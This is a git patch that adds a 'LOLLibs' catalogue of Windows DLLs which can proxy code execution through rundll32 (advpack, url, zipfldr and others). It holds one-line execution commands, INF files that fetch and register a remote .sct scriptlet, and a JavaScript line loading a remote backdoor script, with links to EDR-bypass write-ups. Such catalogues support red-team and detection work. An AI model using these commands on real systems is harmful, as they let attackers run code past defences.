From d41c104edf5dc1976515952623661ceea8511184 Mon Sep 17 00:00:00 2001 From: api0cradle Date: Wed, 25 Apr 2018 23:39:31 +0200 Subject: [PATCH] LOLLibs started --- LOLLibs.md | 21 ++++++++++++ OSBinaries/Rundll32.md | 24 -------------- OSLibraries/Advpack.md | 35 ++++++++++++++++++++ OSLibraries/Ieadvpack.md | 32 +++++++++++++++++++ OSLibraries/Ieframe.md | 29 +++++++++++++++++ OSLibraries/Payload/Advpack.inf | 14 ++++++++ OSLibraries/Payload/Advpack_calc.sct | 44 ++++++++++++++++++++++++++ OSLibraries/Payload/Ieadvpack.inf | 14 ++++++++ OSLibraries/Payload/Ieadvpack_calc.sct | 44 ++++++++++++++++++++++++++ OSLibraries/Shdocvw.md | 29 +++++++++++++++++ OSLibraries/Shell32.md | 31 ++++++++++++++++++ OSLibraries/Url.md | 32 +++++++++++++++++++ OSLibraries/Zipfldr.md | 28 ++++++++++++++++ README.md | 3 +- 14 files changed, 355 insertions(+), 25 deletions(-) create mode 100644 LOLLibs.md create mode 100644 OSLibraries/Advpack.md create mode 100644 OSLibraries/Ieadvpack.md create mode 100644 OSLibraries/Ieframe.md create mode 100644 OSLibraries/Payload/Advpack.inf create mode 100644 OSLibraries/Payload/Advpack_calc.sct create mode 100644 OSLibraries/Payload/Ieadvpack.inf create mode 100644 OSLibraries/Payload/Ieadvpack_calc.sct create mode 100644 OSLibraries/Shdocvw.md create mode 100644 OSLibraries/Shell32.md create mode 100644 OSLibraries/Url.md create mode 100644 OSLibraries/Zipfldr.md diff --git a/LOLLibs.md b/LOLLibs.md new file mode 100644 index 0000000..fc9b73c --- /dev/null +++ b/LOLLibs.md @@ -0,0 +1,21 @@ +# LOLLibs - Living Off The Land Libraries +Please contribute and do point out errors or resources I have forgotten. +If you are missing from the acknowledgement, please let me know (I did not forget anyone on purpose). + + +# OS LIBRARIES +[Advpack.dll](OSLibraries/Advpack.md) +[Ieadvpack.dll](OSLibraries/Ieadvpack.md) +[Ieframe.dll](OSLibraries/Ieframe.md) +[Shdocvw.dll](OSLibraries/Shdocvw.md) +[Shell32.dll](OSLibraries/Shell32.md) +[Url.dll](OSLibraries/Url.md) +[Zipfldr.dll](OSLibraries/Zipfldr.md) + +# OTHER MICROSOFT SIGNED LIBRARIES + + +# OTHER NON MICROSOFT LIBRARIES + + + diff --git a/OSBinaries/Rundll32.md b/OSBinaries/Rundll32.md index ab18506..e81e59e 100644 --- a/OSBinaries/Rundll32.md +++ b/OSBinaries/Rundll32.md @@ -13,35 +13,11 @@ rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new% rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test") -rundll32 shell32.dll,Control_RunDLL payload.dll - -rundll32.exe advpack.dll,LaunchINFSection c:\test.inf,DefaultInstall_SingleUser,1, - -rundll32.exe advpack.dll,RegisterOCX calc.exe - -rundll32.exe zipfldr.dll,RouteTheCall calc.exe - -rundll32.exe url.dll,OpenURL "C:\test\calc.hta" - -rundll32.exe url.dll,OpenURL "C:\test\calc.url" - -rundll32.exe url.dll, FileProtocolHandler calc.exe - -rundll32.exe ieframe.dll,OpenURL "C:\test\calc.url" - -rundll32.exe shdocvw.dll,OpenURL "C:\test\calc.url" - -rundll32.exe ieadvpack.dll,LaunchINFSection test.inf,,1, - rundll32 "C:\ads\file.txt:ADSDLL.dll",DllMain ``` Acknowledgements: * Casey Smith - @subtee -* Jimmy - @bohops -* Moriarty - @Moriarty_Meng -* Adam - @hexacorn -* Oddvar Moe - @oddvarmoe Code sample: * [AllTheThingsx64.dll](https://github.com/redcanaryco/atomic-red-team/blob/master/Windows/Payloads/AllTheThings/AllTheThingsx64.dll)[1] diff --git a/OSLibraries/Advpack.md b/OSLibraries/Advpack.md new file mode 100644 index 0000000..930d322 --- /dev/null +++ b/OSLibraries/Advpack.md @@ -0,0 +1,35 @@ +## Advpack.dll + +* Functions: Execute + +``` +rundll32.exe advpack.dll,LaunchINFSection c:\test.inf,DefaultInstall_SingleUser,1, +rundll32.exe advpack.dll,RegisterOCX calc.exe +``` + +Acknowledgements: +* Jimmy - @bohops + +Code sample: +* [Advpack.inf](https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSLibraries/Payload/Advpack.inf) +* [Advpack_calc.sct](https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSLibraries/Payload/Advpack_calc.sct) + +Resources: +* https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/ +* https://twitter.com/ItsReallyNick/status/967859147977850880 +* https://twitter.com/bohops/status/974497123101179904 + +Full path: +``` +c:\windows\system32\advpack.dll +c:\windows\sysWOW64\advpack.dll +``` + +Notes: + + + +Detection: + + + diff --git a/OSLibraries/Ieadvpack.md b/OSLibraries/Ieadvpack.md new file mode 100644 index 0000000..e038b93 --- /dev/null +++ b/OSLibraries/Ieadvpack.md @@ -0,0 +1,32 @@ +## Ieadvpack.dll + +* Functions: Execute + +``` +rundll32.exe ieadvpack.dll,LaunchINFSection test.inf,,1, +``` + +Acknowledgements: +* + +Code sample: +* [Ieadvpack.inf](https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSLibraries/Payload/Ieadvpack.inf) +* [Ieadvpack_calc.sct](https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSLibraries/Payload/Ieadvpack_calc.sct) + +Resources: +* + +Full path: +``` +c:\windows\system32\ieadvpack.dll +c:\windows\sysWOW64\ieadvpack.dll +``` + +Notes: + + + +Detection: + + + diff --git a/OSLibraries/Ieframe.md b/OSLibraries/Ieframe.md new file mode 100644 index 0000000..e6cf0e4 --- /dev/null +++ b/OSLibraries/Ieframe.md @@ -0,0 +1,29 @@ +## Ieframe.dll + +* Functions: Execute + +``` +rundll32.exe ieframe.dll,OpenURL "C:\test\calc.url" +``` + +Acknowledgements: +* Adam - @hexacorn +* Jimmy - @bohops + +Code sample: +* + +Resources: +* http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/ +* https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/ + +Full path: +``` +c:\windows\system32\Ieframe.dll +c:\windows\sysWOW64\Ieframe.dll +``` + +Notes: + + +Detection: diff --git a/OSLibraries/Payload/Advpack.inf b/OSLibraries/Payload/Advpack.inf new file mode 100644 index 0000000..97e3ecb --- /dev/null +++ b/OSLibraries/Payload/Advpack.inf @@ -0,0 +1,14 @@ +[version] +Signature=$chicago$ +AdvancedINF=2.5 + +[DefaultInstall_SingleUser] +UnRegisterOCXs=UnRegisterOCXSection + +[UnRegisterOCXSection] +%11%\scrobj.dll,NI,https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSLibraries/Payload/Advpack_calc.sct + +[Strings] +AppAct = "SOFTWARE\Microsoft\Connection Manager" +ServiceName="Yay" +ShortSvcName="Yay" \ No newline at end of file diff --git a/OSLibraries/Payload/Advpack_calc.sct b/OSLibraries/Payload/Advpack_calc.sct new file mode 100644 index 0000000..a167c12 --- /dev/null +++ b/OSLibraries/Payload/Advpack_calc.sct @@ -0,0 +1,44 @@ + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/OSLibraries/Payload/Ieadvpack.inf b/OSLibraries/Payload/Ieadvpack.inf new file mode 100644 index 0000000..97e3ecb --- /dev/null +++ b/OSLibraries/Payload/Ieadvpack.inf @@ -0,0 +1,14 @@ +[version] +Signature=$chicago$ +AdvancedINF=2.5 + +[DefaultInstall_SingleUser] +UnRegisterOCXs=UnRegisterOCXSection + +[UnRegisterOCXSection] +%11%\scrobj.dll,NI,https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSLibraries/Payload/Advpack_calc.sct + +[Strings] +AppAct = "SOFTWARE\Microsoft\Connection Manager" +ServiceName="Yay" +ShortSvcName="Yay" \ No newline at end of file diff --git a/OSLibraries/Payload/Ieadvpack_calc.sct b/OSLibraries/Payload/Ieadvpack_calc.sct new file mode 100644 index 0000000..a167c12 --- /dev/null +++ b/OSLibraries/Payload/Ieadvpack_calc.sct @@ -0,0 +1,44 @@ + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/OSLibraries/Shdocvw.md b/OSLibraries/Shdocvw.md new file mode 100644 index 0000000..15ef1c0 --- /dev/null +++ b/OSLibraries/Shdocvw.md @@ -0,0 +1,29 @@ +## Shdocvw.dll + +* Functions: Execute + +``` +rundll32.exe shdocvw.dll,OpenURL "C:\test\calc.url" +``` + +Acknowledgements: +* Adam - @hexacorn +* Jimmy - @bohops + +Code sample: +* + +Resources: +* http://www.hexacorn.com/blog/2018/03/15/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline-part-5/ +* https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/ + +Full path: +``` +c:\windows\system32\Shdocvw.dll +c:\windows\sysWOW64\Shdocvw.dll +``` + +Notes: + + +Detection: diff --git a/OSLibraries/Shell32.md b/OSLibraries/Shell32.md new file mode 100644 index 0000000..5cad78f --- /dev/null +++ b/OSLibraries/Shell32.md @@ -0,0 +1,31 @@ +## Shell32.dll + +* Functions: Execute + +``` +rundll32.exe shell32.dll,Control_RunDLL payload.dll +``` + +Acknowledgements: +* ? + +Code sample: +* + +Resources: +* https://linktosomethingusefull.com + +Full path: +``` +c:\windows\system32\shell32.dll +c:\windows\sysWOW64\shell32.dll +``` + +Notes: + + + +Detection: + + + diff --git a/OSLibraries/Url.md b/OSLibraries/Url.md new file mode 100644 index 0000000..c473780 --- /dev/null +++ b/OSLibraries/Url.md @@ -0,0 +1,32 @@ +## Url.dll + +* Functions: Execute + +``` +rundll32.exe url.dll,OpenURL "C:\test\calc.hta" + +rundll32.exe url.dll,OpenURL "C:\test\calc.url" + +rundll32.exe url.dll, FileProtocolHandler calc.exe +``` + +Acknowledgements: +* Jimmy - @bohops + +Code sample: +* + +Resources: +* https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/ + +Full path: +``` +c:\windows\system32\url.dll +c:\windows\sysWOW64\url.dll +``` + +Notes: + + + +Detection: diff --git a/OSLibraries/Zipfldr.md b/OSLibraries/Zipfldr.md new file mode 100644 index 0000000..bf67b04 --- /dev/null +++ b/OSLibraries/Zipfldr.md @@ -0,0 +1,28 @@ +## Zipfldr.dll + +* Functions: Execute + +``` +rundll32.exe zipfldr.dll,RouteTheCall calc.exe +``` + +Acknowledgements: +* Moriarty - @moriarty_meng + +Code sample: +* + +Resources: +* https://twitter.com/moriarty_meng/status/977848311603380224 + +Full path: +``` +c:\windows\system32\zipfldr.dll +c:\windows\sysWOW64\zipfldr.dll +``` + +Notes: + + + +Detection: diff --git a/README.md b/README.md index 9379947..7d17b89 100644 --- a/README.md +++ b/README.md @@ -1,8 +1,9 @@ # Living Off The Land Binaries and Scripts -There are two different lists. +There are three different lists. * [LOLBins](LOLBins.md) +* [LOLLibs](LOLLibs.md) * [LOLScripts](LOLScripts.md)